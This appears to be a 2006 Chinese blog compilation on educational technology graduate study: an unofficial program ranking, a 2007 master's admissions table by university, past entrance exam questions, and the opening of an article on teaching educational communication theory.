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教育技术学科的排名

(网上转摘，不具权威性，仅供参考）

共分11个等级，教育技术学为二级学科,二级学科的A级及其以上等级用名次加等级表示，其余用等级表示，相同等级排名不分先后等级划分A等分A++，A+ ，A三级，B，C，D，E四等也分两级，分别为B+，B，C+，C，D+，D，E+，E。

华南师范大学（教育信息技术学院）第1名，A++
北京师范大学（信息科学学院）第2名，A++
华东师范大学 ( 教育科学学院）第3名，A+
南京师范大学（新闻与传播学院）第4名，A+
西北师范大学（教育技术与传播学院) 第5名, A
华中师范大学 (信息技术系 ) 第6名，A
西南师范大学（计算机与信息科学学院）第7名，A
北京航空航天大学（人文社会科学学院）第8名，A
清华大学（人文社会科学学院） B+
吉林大学（高等教育研究所） B+
中国科学技术大学（科技传播与科技政策系） B+
上海师范大学（数理信息学院） B+
浙江师范大学（教育科学与技术学院） B+
浙江大学（教育学院） B
上海交通大学（教育技术中心） B
东北师范大学（传媒科学学院） B
曲阜师范大学（信息技术与传播学院） B
北京交通大学（计算机与信息技术学院） C+
陕西师范大学（新闻与传播学院） C+
山东师范大学（传播学院） C+
上海外国语大学（新闻传播学院） C
徐州师范大学（信息传播学院） C
河北大学（教育科学学院） D+
天津师范大学（计算机与信息工程学院） D+
辽宁师范大学（计算机与信息技术学院） D+
沈阳师范大学（信息技术学院） D+
江西师范大学（传播学院） D
四川师范大学（计算机科学学院） E+
哈尔滨师范大学（电教系） E+
内蒙古师范大学（传媒学院） E

- 作者： ymlhc2004 2006年09月13日, 星期三 15:56　回复（3） |　引用（0）加入博采

2007年教育技术学专业硕士点招生简章

沙湾河发表于 2006-7-22 20:22:00

2007年教育技术学专业硕士点招生简章~~全国各校~~不断更新中

学校	学院	专业方向	招生人数	初试科目	复试科目	同等学力加试科目
北京师范大学	教育技术学院		41
		040122★远程教育　01远程教育基本理论　02在线学习和认知发展　03学习环境和学习资源　04远程教育经济与管理	6	①101政治 ②201英语 ③311教育学专业基础综合	远程教育学基础或计算机网络
		076710教育技术学　01教育技术基本理论　02教学设计与绩效技术　03知识媒体　04人工智能教育应用　05信息技术教育　06教育信息管理　07信息技术与课程整合　08数字化学习环境与资源	29	①101政治 ②201英语 ③303数学三 ④494程序设计与数据结构	远程教育学基础或计算机网络
		081202计算机软件与理论　01知识工程与智能教学系统　02网络与信息安全	6	①101政治 ②201英语 ③301数学一 ④494程序设计与数据结构
北京大学	教育学院	01.教学资源建设与教学设计 02.网络教育技术	7	本专业只招收推荐免试生
西南大学	教育学院	04智能教学系统	2	①101政治理论 ②201英语或203日语 ③311教育学专业基础综合		1、教育科学研究方法；2、教育心理学
	新闻传媒学院	01现代教学传媒技术	6	①101政治理论 ②201英语 ③311教育学专业基础综合	多媒体技术及应用	1、教育传播学 2、教育影视编导
	计算机与信息科学学院	01现代教学传媒技术02数字化学习资源03 网络与远程教育	12	①101政治理论 ②201英语 ③311教育学专业基础综合	1、英语（翻译、口语）；2、多媒体技术及应用	1、教育传播学；2、教育心理学
南京师范大学	教育科学学院	01教育信息化理论与实践 02信息技术课程与教学 03信息技术教育比较研究 04 Web知识工程 05多媒体信息处理	38	①政治 ②英语或俄语或日语 ③C语言与Web技术 ④教学设计与数据结构	⑤教育技术学	⑥高等数学 ⑦数据库技术
	物理科学与技术学院	01物理教育技术	6	①政治 ②英语或俄语或日语 ③普通物理(含力学、电磁学) ④C语言与网络技术	⑤物理教学综合基础	⑥教学法实验 ⑦计算机应用基础
徐州师范大学	信息传播学院	01教育技术理论与实践 02远程教育与网络教学 03数字媒体技术与艺术		①101政治 ②201英语 ③647教育技术基本理论 ④447教育技术综合	教学设计	①教育技术导论 ②程序设计
南京大学	公共管理学院	01教育技术学基础理论02数字媒体与知识工程03现代远程教育	4	①101政治②201英语③311教育学基础综合	①笔试：计算机操作、教育技术学②综合素质考察（含面试）③教育研究基础与素养（含本科成绩、本科论文、论文发表情况）
扬州大学	教育科学与技术（师范）学院	040102课程与教学论 09现代教育技术	<50	①101政治理论②201英语③311教育学专业基础综合	教育技术学
		040110教育技术学 01电视编导与节目制作 02网络教育与多媒体技术应用		①101政治理论 ②201英语③311教育学专业基础综合	01 方向：电视艺术论；02方向：教育技术学
南京邮电大学	传媒技术学院	01网络教育技术及知识工程 02数字媒体技术 03网络时代的教育与心理学	10	①101政治理论 ②201英语 ③311教育学专业基础综合	教育技术学数字信号处理计算机网络数据结构（四选一）	教育技术学或数字信号处理或微机原理及应用或计算机网络或数据结构（五选二）
东南大学	远程教育学院	01教育技术理论与应用 02计算机应用及多媒体技术 03网络教育支撑技术与网络安全 04教学资源建设与教学设计	7	①101政治②201英语③311教育学专业基础综合	数据结构与计算机网络
北京交通大学	计算机与信息技术学院	01远程教育技术 02计算机教育技术 03教育资源建设与教学设计	10	①101政治②201英语③311 教育学专业基础综合
首都师范大学	教育技术系	01智能学习支持环境 02知识工程 03教育信息化绩效技术	14	①101政治②201英语③311 教育学专业基础综合
北京航空航天大学	人文社会科学学院	04 职业技术教育 05 教学设计与课程开发 06 计算机辅助教育	9	①101政治 ②201英语 ③311教育学专业基础综合
北京邮电大学	网络教育学院	01教育管理理论与应用技术 02网络教育技术 03教育软件工程　　 04教育技术基本理论 05教育资源管理　　 06教育信息管理	10	①101统考政治②201统考英语 ③304数学四④403数据结构与计算机组成原理或418教育学	教育技术学或计算机应用基础
清华大学	人文社会科学学院	040110教育技术学	<32	①101统考政治②201英语③311教育学基础综合	教育技术学
浙江师范大学	教育学院	01 教育信息技术 02 教学设计与教学资源开发 03 现代远程教育 04 教育传播学	35	①101政治 ②201英语或203日语 ③622教育技术学 ④422计算机与网络	教学设计	本专业只招收本科生
宁波大学 /td>	教育学院	040110教育技术学 01教育技术基本理论与应用 02教育媒体与资源开发 03虚拟现实技术（教育应用）	8	①101政治理论 ②201英语或203日语 ③311教育学专业基础综合	01，02方向：教育技术基本理论与实践（含WEB编程、视频制作、动画制作、平面设计等） 03方向：计算机图形学	1、教学设计 2、教育心理学
		040102课程与教学论教育技术与学科教学方向	6	①101政治理论 ②201英语或203日语 ③311教育学专业基础综合	教育技术学	1、教学设计 2、教育心理学
浙江大学	教育学院	01教育技术理论02计算机辅助教育03现代远程教育	<22	①101政治②201英或203日或204德③311教育学专业基础综合	面试：1专业外语听说2综合素质口试（含计算机应用操作）笔试科目：教育技术学
浙江工业大学	教育科学与技术学院	077001教育技术学 _ 01信息技术教育应用 _ 02智能学习与知识管理 _ 03网络教育技术 _ 04教育资源设计与开发	8	①101政治②201英语③302数学二或618教育技术学导论④843数据结构（C语言版）	计算机基础知识及与本专业相关的综合知识（面试）。	1、软件工程；2、教育系统化设计。
聊城大学	教育传播技术学院	01信息化教育 02计算机教育应用 03教育电视	10	①101政治理论②201英语③615教育技术学④414计算机应用基础	多媒体技术及应用	①远程教育学基础②教育传播学
山东师范大学	传播学院	077001教育技术学 01现代传媒理论与技术 02计算机教育应用 03计算机图象设计 04网络教育应用	22	①101政治理论②201英语③608教育技术理论（含教育技术学导论、教学设计、教育科学研究方法）④413软件设计（含C语言程序设计、网络技术基础）
曲阜师范大学	信息技术与传播学院	01信息化教育研究02计算机教育应用03网络与远程教育04数字化资源开发		①101政治②201英语③629教育技术学理论④429计算机应用基础	信息技术教育应用	①现代教育技术②学与教的心理学
	印刷工程系	05印刷图文传播技术		①101政治②201英语③644印刷原理及工艺④444图文复制原理	色彩管理
辽宁师范大学	计算机与信息技术学院	01教育传播与技术 02网络教育应用	10	①101政治 ②201英语 ③311教育学专业基础综合
沈阳师范大学	信息技术学院	01计算机辅助教育 02教育电视	10	①101政治 ②201英语 ③636C语言程序设计（含网络知识） ④846教育技术学
渤海大学	教育学院	040110教育技术学 01多媒体与网络教育 02教学与训练系统设计	15	①101政治 ②201英语 ③311教育学专业基础综合	多媒体教学基础	教学设计基础学习理论
	信息科学与工程学院	040102课程与教学论（计算机） 01计算机辅助教育 02 远程教育	7	①101政治 ②201英语 ③311教育学专业基础综合	计算机教学语言	数据结构数据库原理
西安交通大学	人文与社会科学学院	01网络教育理论及技术 02网络环境下大学生学习素质教育研究	<6	①101政治 ②201英语 ③311教育学专业基础综合	高等教育学、计算机基础知识
西安电子科技大学	计算机学院	01 计算机网络与远程教育技术 02 计算机教育应用与信息管理 04 教育信息技术	10	①101政治理论 ②201英语 ③311教育学专业基础综合
西北工业大学	电子信息学院	01 多媒体应用研究 02 网络信息传播及存储技术 03 网络远程教育技术研究 04 现代教育技术研究	7	101 政治 201 英语 311 教育学专业基础综合	924 C语言程序设计	概率论信号与系统微机原理及应用任选两门但不能与初始科目相同
陕西师范大学	新闻与传播学院	01网络与远程教育 02网络多媒体教育应用 03信息技术教育应用 04智能技术育应用	27	①101政治②201英语③643教育技术学（含教学设计）④443计算机网络（含程序设计）
西北大学	教育技术研究所	077001 教育技术学 00不区分研究方向	8	①101政治②201英语③639高等数学④460计算机网络与程序设计或461教育技术学	1.英语阅读理解；2.课程笔试：教学设计/教育心理学/操作系统原理/程序设计上机测试，任选二；3.面试。
宁夏大学	教育科学学院	04现代教育技术	3	①101政治 ②201英语 ③311教育学专业基础综合		中外教育史、发展心理学
深圳大学	师范学院	01教学系统设计02计算机教育应用	8	①101政治②201英语③311教育学专业基础综合	教学系统设计或C语言程序设计	1.教与学的基本理论2信息技术教学应用
华南师范大学	教育信息技术学院	01.教育电视02.教育信息技术03.未来教育04.现代远程教育05.教学设计理论与应用06.教育中的认知与技术 07.计算机网络与教育应用	28	①101政治理论②201英语③605高等数学（教育技术专业）④406数据结构与程序设计	01~06：教育技术学与教学设计 07方向：计算机网络及应用
西华师范大学	教育技术系	01教育技术基本理论及应用02计算机教育及应用	10	①101政治②201英语③617教育技术学导论（含教学设计）④451计算机应用基础	教育技术学	1．教育传播学2．网络教育应用
华东师范大学	教育信息技术学系	01 教育技术学理论 02 教育测评与信息处理 03 网络远程教育 04 虚拟现实与游戏设计 05 教育培训系统设计 06 信息化教育 07 智能教学系统	32	①101政 ②201英 ③625高等数学(B) ④485教育技术与C程序设计	1．教育技术学综合知识（笔试），涵盖教育心理学、教学设计、多媒体技术和网络技术，相关教材均可参考。 2．计算机应用能力综合测试（上机操作）。 3．专业基础知识的综合能力（口试）。 4．外语听力、口语测试。
同济大学	物理系	01 多媒体技术与应用 02 网络技术及应用 03 视频数字化技术	2	①101 政治理论 ②201英语 ③610 高等数学 ④433 教育技术学	综合考试	不招
上海交通大学	媒体与设计学院	01现代教育技术传播 02教育传播效果测评 03教育技术管理	<39	①101政治②201英语③311教育学专业基础综合
上海师范大学	数理信息学院	教育技术学	42			本专业不招生同等学力考生。方向02-04考试地点在上海师大，现场确认点必须选上海师大。
		01网络技术与管理		①101政治②201英语③620教育技术学④428C程序设计	加考上机编程
		02电视编导与制作		①101政治②201英语③620教育技术学④429电视编导与制作(另设考场)
		03数字图像与动画		①101政治②201英语③620教育技术学④430三维建模(另设考场)
		04电脑音乐与影视音乐创作		①101政治②201英语③620教育技术学④431影视音乐创作(另设考场)
		05信息化教学设计		①101政治②201英语③620教育技术学④432教学设计与人力资源培训	加考讲演能力与培训设计
上海外国语大学	新闻传播学院	1.绩效技术 2.教学设计、开发与评价 3.社会教育传播 4.计算机辅助语言学习 5.网络资源的教学应用	28	① 101政治 ② 201英语 ③ 311教育学专业基础综合(全国统考)	① 笔试 ② 面试	① 教育技术基础 ② 专业英语
第二军医大学	训练部	01教育技术与学术传播；网络与多媒体技术	1	①101政治理论②201英语③311教育学专业基础综合
中国科学技术大学	人文学院科技传播与科技政策系	01教育软件工程 02电子学习（e-Learning）	6	①101政治理论②201英语③304数学四④823软件技术基础
安徽师范大学	教育科学学院	01现代教学设计与远程教育02教育技术学基本理论03计算机教育应用04信息技术与课程整合	14	①101政治理论②201英语③621教育技术学（含C程序设计）④821教学系统设计	信息技术教育应用（含上机操作）	①教育技术学②信息技术教学应用
河南师范大学	物理与信息工程学院	01教育技术理论与应用 02基于网络的远程教育 03多媒体教学系统	20	①101政治 ②201英语 ③607计算机网络与C程序设计 ④407教育技术学	教学系统设计	①计算机教育应用 ②电视教材编导与制作
	成人教育研究所	03远程教育	8	①101政治 ②201英语 ③311教育学专业基础综合	教育技术学	①计算机基础②C程序设计
解放军外国语学院	基础部	040110 教育技术学	5	①101政治②201外语英③311教育学专业基础综合	教育技术学专业基础课（笔试、用英语答题，考试范围详见招生简章）
西北师范大学	教育技术与传播学院	01教育技术学理论 02现代远程教育 03媒体理论及教育应用 04信息技术与教育	25	①政治101 ②英语201 ③现代教育技术基础621 ④程序设计821	信息技术教育应用（含Visual Basic；理论占100分，机试占50分）	1.教育电视节目制作 2.教学设计
四川师范大学	计算机科学学院	01信息化教学资源设计与开发02教育软件研究与开发03数字传媒技术与艺术	20	①101政治②201英语③632教育技术学基础④432计算机应用基础（含计算机基础知识和C程序设计）	教育技术综合技能考试（含多媒体课件制作和网页设计）。	1.同等学力考生需英语通过国家英语4级 2.同等学力、跨专业报考加试科目：①教学设计；②教育学原理。
西南交通大学	软件学院	01远程教育技术 02教育资源建设与教学设计 03网络多媒体技术 04计算机辅助教育	8	①101统考政治 ②201统考英语 ③311教育学专业基础综合
西南科技大学	计算机科学与技术学院	01知识工程与教育软件02网络教育教学设计03数字媒体技术	13	①101统考政治 ②201统考英语 ③311教育学专业基础综合	复试专业笔试：《计算机网络》；《Internet技术与应用教程》；口试为综合技能；	离散数学；C程序设计
中山大学	教育学院	01网络教育02教育与信息技术		（1）101政治（2）201英语（3）340教育学或352高等数学（B）（4）424计算机应用基础	信息技术教育应用
山西师范大学	教育技术与传媒学院	01教育技术理论 02信息技术教育 03网络与远程教育	15	①101政治②201英语③311教育学专业基础综合
哈尔滨师范大学	教育科学与技术学院	01现代教育媒体设计与应用 02 教育信息处理 03教育技术理论与应用 04教学设计与学习资源开发 05网络课程设计与资源开发	12	①101政治理论②201英语202俄语203日语选一③620教育技术学④420计算机辅助教育与程序设计	网络技术与多媒体技术	1.教学设计 2.教学媒体理论与实践
大庆石油学院	计算机与信息技术学院	1教育信息技术 02现代远程教育 03教育技术理论与应用 04知识工程	5	①101政治 ②201英语 ③311教育学专业基础综合	教育技术学	①教学系统设计 ②数据库系统
福建师范大学	教育科学与技术学院	01信息技术教育02网络技术与现代远程教育	6	①101政治②201英语③311教育学专业基础综合
河北大学	教育学院	01教学设计理论与应用02现代远程教育03数字化教学资源设计与开发	15	①101政治②201英语③621教与学的基本理论④827教育技术学
河北师范大学	信息技术学院	01教育技术理论与应用 02网络技术教育应用 03信息技术教育研究 04信息化教育资源与环境研究	5	①101政治理论②201英语③719教育技术基础④828数据结构
石家庄铁道学院	信息工程系	01网络教育及支撑技术研究 02教育软件设计与开发 03智能教学系统研究 04教育信息管理	5	⑴101政治⑵201英语⑶302 数学二⑷414教育技术与C语言程序设计	计算机网络或多媒体技术基础	1、软件技术基础 2、教学系统设计
江西师范大学	课程与教学研究所	课程与教学论 01信息化教育 11教师教育	<40	①101政治理论 ②201英语 ③311教育学专业基础综合	01方向：信息化教学模式 11方向：信息技术与教师教育	01方向：①教育技术②学与教的心理学 11方向：①教师专业化的理论与实践（理论篇）②教育技术
	传播学院	教育技术学 01教育传播理论与技术 02多媒体与网络教育 03教学设计 04多媒体智能教学软件	20	①101政治理论 ②201英语 ③311教育学专业基础综合	教育技术学综合知识	①现代教育理论 ②网络教育基础
南昌大学	教育学院	040110教育技术学 01现代教育理论与教学设计 02数字化教育资源的开发与利用 03现代远程教育研究		①101政治理论 ②201英语 ③311教育学专业基础综合	教育技术学（含计算机基础）	①计算机网络 ②数据库技术
江西财经大学	用友软件学院	040110教育技术学 _01财经教育信息化理论与实践 _02教育软件技术 _03 ERP工程与教育 _04高等教育管理技术	10	①101政治理论 ②201英语或202俄语或203日语 ③311教育学专业基础综合
华中师范大学	信息技术系	01.教育信息资源设计与开发 02.教育影视技术 03.远程教育技术 04.教学设计 05.信息技术教育	<64	①101政治 ②201英语 ③636教育技术学与教学设计 ④466计算机应用基础	高等数学
	教育信息技术工程研究中心	01.远程教育技术 02.数字媒体技术	<15	①101政治 ②201英语 ③636教育技术学与教学设计 ④466计算机应用基础	高等数学	计算机辅助教育
	北京研究院	01.学科教学设计	<40	①101政治 ②201英语 ③638教育技术学 ④470学科教学论	计算机应用基础
华中科技大学	教育科学研究院	01高等教育信息化的理论与应用 02教育信息资源的设计、开发与管理 03绩效技术 04教育影视传播 05现代远程教育	9	①101政治 ②201英语 202俄语 203日语 ③311教育学基础综合（201、202、203选一）
湖南师范大学	教育科学学院	01 信息技术教育学 02 教育环境与资源 03 教育信息化工程		①101政治理论 ②201英语 ③718教育技术学与教学设计 ④877 C程序设计与网络技术	教育心理学	①普通心理学 ②教育传播学
湖南大学	应用物理系	040100 教育学 01 教育技术学	15	①101统考政治 ②201统考英语 ③311教育学专业基础综合	831网络教育应用、832多媒体技术及应用任选一
中南大学	现代教育技术中心	01网络教育技术 02数字媒体研究与应用 03教学资源建设与教学设计 04现代远程教育研究 05网络工程与信息集成	6	①101政治理论 ②201英语 ③303数学三 ④417计算机应用基础
国防科学技术大学	信息系统与管理学院	01 远程教育 02 教育资源建设与教学设计 03 计算机教育应用	1	①政治理论（101） ②英语（201） ③教育学专业基础综合（311）	A、数据库原理（536） B、数据结构与数据库（559） C、微机原理及应用（529）注：A、B、C选一 A选用计算机学院试题
天津工程师范学院	计算机系	01教育软件工程 02职业教育信息化 03数字媒体技术	4	①101政治理论②201英语③311教育学专业基础综合
天津师范大学	教育科学学院	077001教育技术学 _ 01多媒体技术开发及应用 _ 02远程教育及其网络技术研究	8	①101政治(含法律硕士)②201英语(含法律硕士)③631模拟与数字电子技术或633网络技术基础④831C语言
	计算机与信息工程学院	077001教育技术学 _ 01智能计算机辅助教育 _ 02现代远程教育技术	10	①101政治(含法律硕士)②201英语(含法律硕士)③680程序设计基础（包含C语言与数据结构）④880教育技术专业综合
吉林大学	高等教育研究所	01计算机辅助教育研究 02个性化知识增长技术研究 03远程网络教育研究	13	①101政治 ②201英语或202俄语或203日语 ③659教育技术学 ④864综合卷（C程序设计、计算机网络）	专业综合（教育技术问题解析、计算机技能测试：上机操作）跨学科加试：教育心理学、计算机多媒体技术
东北师范大学	传媒科学学院	077001教育技术学 __01教育技术基本理论 __02计算机教育应用 __03现代远程教育	19	①101政治②201英语或202俄语或203日语③645媒体技术④469教育传播与教学设计	①教育技术学②计算机上机操作	①学与教的理论②多媒体技术
	理想信息技术研究院（软件学院）	077001教育技术学 01远程教育 02教育软件与多媒体技术 03网络资源数据库 04教育软件与多媒体技术	5	①101政治②201英语③654多媒体技术应用④479教学设计	现代教育技术	①课程与教学论②课件设计与制作
云南大学	职业与继续教育学院	01多媒体通讯网络技术02教育资源开发与应用03现代远程教育研究04网络数学模型研究	16	①101政治论②201英语③626教育技术学④842多媒体技术基础		限本科及以上学历。授理学学位。
云南师范大学	现代教育技术中心	040110教育技术学 01教育技术学原理02远程教育03信息技术教育应用04教学资源设计与开发05信息技术与教师教育		①101统考政治②201英语③311教育学专业基础综合
广西师范学院	物理与电子信息科学系	01教学系统设计理论与方法 02计算机教育应用 03信息技术与学科课程整合	15	①101政治理论②201英语③623教学系统设计④823计算机应用基础	信息技术与教育	①教育技术学 ②多媒体技术基础及应用
广西师范大学	教育科学学院	077001教育技术学 01.远程教育 02.计算机教育应用	10	①101政治②201英语③614 教育技术学④415 信息技术及应用
内蒙古师范大学	传媒学院	040110教育技术学 _ 01教学设计 _ 02计算机教育应用 _ 03远程教育技术	7	①101政治(含法律硕士)②201英语(含法律硕士)③311教育学专业基础综合
	科学史与科技管理系	071200科学技术史 _ 01科学技术史 _ 02数学史 _ 03物理学史 _ 04教育技术史	14	①101政治(含法律硕士)②201英语(含法律硕士)或202俄语(含法律硕士)或203日语(含法律硕士)③719自然科学史④822高等数学、普通物理、教育技术基础任选一

- 作者： ymlhc2004 2006年09月13日, 星期三 15:54　回复（4） |　引用（0）加入博采

2004试题

2004试题
教育技术学

一、简答题
1.说明课堂教学设计的基本内容
2.举例说明什么是无形的智能教育技术
3.解释"媒体一般是灵活的、可以替换的"这一观点
4.说明信息技术对教学过程的影响
5.列举两种网络环境下的群体化的协作学习方式
6.请分别编制一个测验题，检查学生对"教育技术"概念的记忆和理解水平
7.解释医疗电子绩效支持系统的功能
8.举例说明什么是效能工具软件和认知工具软件
9.说明选择教学方法的标准
10.举例说明什么是陈述性先行组织者
二、论述题
1.假设你是一地方的电教馆馆长，请说明并论述你应该如何开展当地的教育技术工作。
（要求：观点明确，论据充分，论证有逻辑性，500字以上）
2.请就下面的观点进行评述：
由于多媒体计算机在教学中具有多种功能，并且在教学中已经得到广泛应用，因此
有人提出：多媒体计算机是一种全能的媒体，它能够代替幻灯、投影、广播、录音、
电影、电视等媒体。（要求：观点明确，论据充分，论证有逻辑性，500字以上）

信息技术教育应用

一、名词解释
HTTP ATM CSS 流媒体群件中间件信息技术面向对象技术
二、简答题
1．简述IP地址与域名的对应关系，举例说明。
2．简述Java script在网页制作中的作用，试写代码加以说明。
3．简述超媒体应用于教学的优势及其可能存在的缺陷。
4．简述传统单机运行的课件和网络课件在教学功能上的异同点。
5．简述互联网提供的可用于教学的交互方式并加以说明。
三、论述
从积件的概念及其思想出发探讨其对网络教学资源库建设的指导意义。

2003年考题

教育技术学试题：

一、简答题：
1.教育技术学的学科性质
2.教育技术学的学科内容
3.教学设计为什么要分析学生及学习内容？
4.教学设计的主要内容
5.远程教育的特点
6.解释教育技术
7.信息化教育的特征
8.解释"抽象性与形象性相结合的原则"
9.选择媒体应遵循的原则
10.安排教学内容的原则
二、论述题
1.如何在教学过程中选择与应用信息技术
2.传播理论对网络教育的影响

计算机辅助教育试题：

一、名词解释并写出英语
WWW CAT CAI 搜索引擎网关微型世界形成性评价桥接器
二、简答
1.从组织结构看课件的类型、并分析其特点
2.课件的制作过程
3.教育信息化的特点及主要内容
4.网络教育有哪些特点
三、论述
1.论教育技术与信息技术的关系
2.教育技术对教学改革的影响

2002年试题

信息技术的教育应用试题：

一.名词解释
教学软件多媒体技术局域网积件信息技术
二、简答
1. 按教学活动组织方式不同，教学软件可分为哪几种类型？分别记忆简单说明。
2.MIDI音乐和W***声音在表现音频信息方面各有什么优缺点？
3.超媒体应用于教学中可能存在哪些缺陷？
4.智能教学系统的"智能"主要体现在哪几个方面？
三、论述题
1.试论述教学设计和计算机技术在教学软件开发中各有什么作用？
2.和传统教学模式下的教师相比，信息技术环境下的教师角色发生了哪些转变？

教育技术学试题：

一、简答题
1.解释"教育技术"的概念
2.安置性评价的主要功能是什么？
3.网络的教学功能
4.解释"Electronic Performance Support Systems"概念
5.教学内容分析与组织工作的基本任务是什么？
6.现代远程教育的理想
7.传播理论对教育技术的影响
8.网络传播媒体对教学过程的影响
9.举例说明"符号的意义来自经验"的观点
10.现代远程教育的发展趋势
二、综述与论述题
1.概述美国教育技术的发展过程
2.如何从教育的角度来设计教育网站‘

2001年试题

计算机辅助教育试题：

一、名词解释
CAI 脚本超文本高级（教学）目标积件计算机网络资源共享域名音频数字化面向对象技术
二、简答
1.按结构组织的不同，课件可分为哪几种类型？它们各有什么特点？
2.如何把教学目标的形成关系图转变成课件中的教学序列？
3.什么是教学监控系统教学监控系统的功能有哪些？
4.矢量图形和位图图像在表现图像信息方面的优缺点？
5.信息技术与计算机技术的关系？
三、论述题
1.ICAI系统的智能主要体现在哪里？阻碍IACA发展的"瓶颈"有哪些？
2.试论述课件开发小组的人员结构，他们各自的主要任务是什么？

教育传播学试题：

一、简答
1.多媒体计算机传播媒体的特点
2.教育传播学研究的具体内容
3.说明教育传播系统组成要素及各自的功能
4.信息与符号的关系
5.非语言符号的特性
6.简要说明人对信息加工的内容过程
二、论述
1.论述教育传播过程中媒体与人的关系
2.试分析应用计算机网络媒体教学过程中教师的作用
3.分析多媒体计算机与网络传播媒体对教育的影响。
2004复试题目
一、简答题1、教学设计的地位和作用2、教学设计人员应该具备的素质3、教学设计和教学论的异同。
二论述题：为什么在我国大力推广教育信息化？

正确认识与努力教好“教育传播学”

李运林 曾艳

由南国农、李运林编著的《教育传播学》，是1995年由高等教育出版社出版的。现在由西北师大南国农教授等4人和华南师大李运林教授等3人在原有教材基础上进行修订，成为《教育传播学》（第二版）。由于篇幅限制，第二版（8章）比第一版（13章）减少了五章，删去了对几种新型教育传播模式展开论述的章节。要教好这门课，首先要正确认识这门课在教育技术学科专业中的地位与作用，下面拟分别谈几个问题。

一、教育传播理论是教育技术的基本理论

任何学科都有它依据的理论基础，和有它自身建立起来的基本理论。教育技术的理论基

础是什么？在何克抗、李文光编著的《教育技术学》中提出的理论基础有：系统科学理论、传播理论和学习理论。至于与教育技术类似学科的一些提法则有：李运林、李克东编著的《电化教育导论》中提出电化教育的理论基础是：视听教育理论、学习理论、传播理论、系统科学理论和辨证唯物主义认识论。最近由南国农教授主编出版的《信息化教育概论》中指出，信息化教育的理论基础有四种学习理论、四种教学理论和四种传播理论。从上可见，大家都基本甚至一致认可学习理论、传播理论和系统科学理论是教育技术学的理论基础。

那么教育技术依据上述基础理论所建立起来的自身的基本理论是什么呢？何克抗在《教育技术学》中没有直接点明它的基本理论。南国农主编的《信息化教育概论》中则非常直接指出：信息化教育的基本理论，主要是三种理论：现代教育媒体理论、现代媒传教学理论和现代教学设计理论。教育媒体理论和媒传教学理论实质就是教育传播理论。所以可概括为两种基本理论：教育传播理论和教学设计理论。李运林、李克东著的《电化教育导论》也没有直接、系统谈基本理论。但在系统科学理论作为基础理论的章节中列出下表后提出：

基础科学 技术科学 应用科学

shapetype id="_x0000_t87" coordsize="21600,21600" o:spt="87" adj="1800,10800" path="m21600,0qx10800@0l10800@2qy0@11,10800@3l10800@1qy21600,21600e" filled="f"> 电信学

信息论大众传播学

系统科学教育传播学

（反馈原理、系统工程

有序原理、系统论系统分析方法

整体原理）教育系统学

工程控制论

控制论生物控制论

教育控制学

以信息论为基础的教育传播学，以系统论为基础的教育系统学和以控制论为基础的教育控制学，结合起来组成了当前的“教育传播与技术”的基本内容。

用上述思维方法类推，依据传播理论为基础建立起来的教育传播理论和依据学习理论所建立起来的教学设计理论、或者依据学习理论与系统理论所建立起来的教学系统设计理论，都应该成为教育技术的基本理论。

综上所述，无论是直接指出还是间接推论，比较统一在教学设计理论和教育传播理论是教育技术学的基本理论。下面将重点分析为什么教育传播理论能成为教育技术的基本理论。

以传播理论为基础建立起来的教育传播理论主要包括有：教育传播过程和模式的理论、教育传播信息理论、教育传播符号理论、教育传播媒体理论以及教育传播效果理论。这些理论对学习资源的设计、开发、运用、管理与评价均具有直接与重要的指导作用。下面举几个事例说明之。

比如，教育传播过程模式的理论中明确指出：教育传播过程是一种非常复杂的动态过程系统。我们首先要把这一复杂现象分解为若干个组成要素，然后分别研究找出这些要素的性质、功能和它们之间相互作用的关系，用理想化的、简化的形式表示出来，就成为教育传播过程模式。它表示的形式通常有：（1）语词形式；（2）图解形式；（3）数学形式。用这一理论，就能正确指导我们去设计、开发或运用一种新型的教学模式。近年来在教育技术的实验研究中，新型教学模式满天飞，在这些模式中既看不到要素，也有要素间的相互作用与联系。关键在于缺少理论的指导。

又比如，在教育传播信息理论中明确阐述了信息的含义、产生与形态，人们获取信息的渠道，对信息进行加工转化为知识与能力的机理。这些理论对学习资源的设计、开发与运用也有重大的指导作用。近年在中小学“信息技术”课程的设计与开发中，完全将计算机技术替代信息技术，明显是缺少了教育信息技术理论的正确指导。

再比如，在教育传播媒体理论中指出，媒体是信息的载体。随着科技发展，开发的各种教学媒体具有不同的教学特性与功能，没有一种超级媒体能取代其它媒体。在教学中各种媒体是取长补短综合运用的。但在近年的教育技术实践中，有不少学校取消了幻灯、投影、录音甚至电视等学习资源，全部用计算机媒体去取代。这也是缺少教育传播媒体理论正确指导的结果。又比如，教育传播媒体选择模型，能正确指导教学媒体的选择与运用，从而取得最优的教育传播效果。

以上几个例子，足以说明教育传播理论对教育技术的重大指导作用，也充分证明了教育传播理论是教育技术的基本理论之一。

在教育传播与技术学科专业中，开设具有教育传播理论的教育传播学课程，不是可有可无的课程。无论从学科的基本理论角度看，还是从学生应具备的知识结构上看，教育传播学都必须是教育技术学科专业的主干课程。

二、教育传播学的建立与内容体系

（一）教育传播学的性质

教育传播学是一门新兴的交叉学科，它是综合运用传播学与教育学的理论和方法去研究与揭示教育信息传播活动的过程与规律，以求得最优化的教育效果。

（二）教育传播理论研究的发展

40年代末以来，电子媒体大量进入教育领域，为教育革新和发展提供了有力的条件，但也带来了一系列的问题，解决这些问题，靠原来的教育学理论与方法已无能为力，人们试图用传播理论与方法来探讨教育中出现的新问题，这样形成了教育传播理论的研究。

考察教育传播理论研究的轨迹，不难发现，教育传播理论的研究大致经历了几个发展阶段，如下：

阶段

时间

研究重心

研究方法

理论基础

重媒体

20世纪30—50年代

教育传播媒体的功能与效能

注重对比研究

行为主义学习理论、戴尔的《经验之塔》理论

重过程

60年代

教育传播系统的构成要素

注重系统方法

传播学、系统论

重优化

70年代

教育传播过程的优化设计

注重个案研究和评估

认知学习理论、教学过程最优化理论、教学设计理论

（三）我国教育传播学的建立

我国引进国外的教育传播理论与建立我国的教育传播理论仅是最近几十年的事情，以下是一些片段回忆：

1982年，华南师大邀请美国传播学创建人宣伟伯博士和香港传播学专家余也鲁教授在广州举办了为期6天的教育传播理论讲习班。全国有300多名电教工作者参加，共讲授了7个专题并于会后由高等教育出版社出版了《传媒·教育·现代化——教育传播的理论与实践》一书，共九章：

第一章绪论：信息·教育传播·现代化

第二章教学·新工具·人

--------怎样克服对新教育媒体的阻力

第三章教师·媒介·效果

------怎样选择教学媒介

第四章集中·分析·实效

-------教学软件制作的路线

第五章实验·理论·新事物

-------介绍五个新事物传播的实验

第六章广播·卫星·现代化

